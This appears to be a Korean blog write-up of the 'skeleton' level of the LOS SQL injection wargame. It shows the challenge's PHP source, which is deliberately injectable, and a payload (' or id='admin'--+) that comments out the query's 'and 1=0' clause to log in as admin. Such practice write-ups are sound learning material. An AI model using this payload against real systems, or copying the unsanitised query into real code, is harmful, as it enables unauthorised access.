Notice
Recent Posts
Recent Comments
250x250
반응형
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[LOS] skeleton 본문

web/LOS

[LOS] skeleton

Tyojong 2025. 7. 25. 15:09
반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

 

문제 목표

if($result['id'] == 'admin'solve("skeleton");

id가 admin이면 해결된다.

$query "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";

조회 되는 쿼리 뒷 부분을 보면 and 1=0 이 추가로 붙어있다. 하지만 별다른 필터링이 없기 때문에 그냥 뒷부분을 주석처리하면 된다.

 

문제 해결

?pw=' or id='admin'--+ 를 입력하면

해결된다.

728x90

'web > LOS' 카테고리의 다른 글

[LOS] vampire  (0) 2025.07.25
[LOS] troll  (0) 2025.07.25
[LOS] orge  (0) 2025.07.22
[LOS] darkelf  (0) 2025.07.22
[LOS] wolfman  (0) 2025.07.21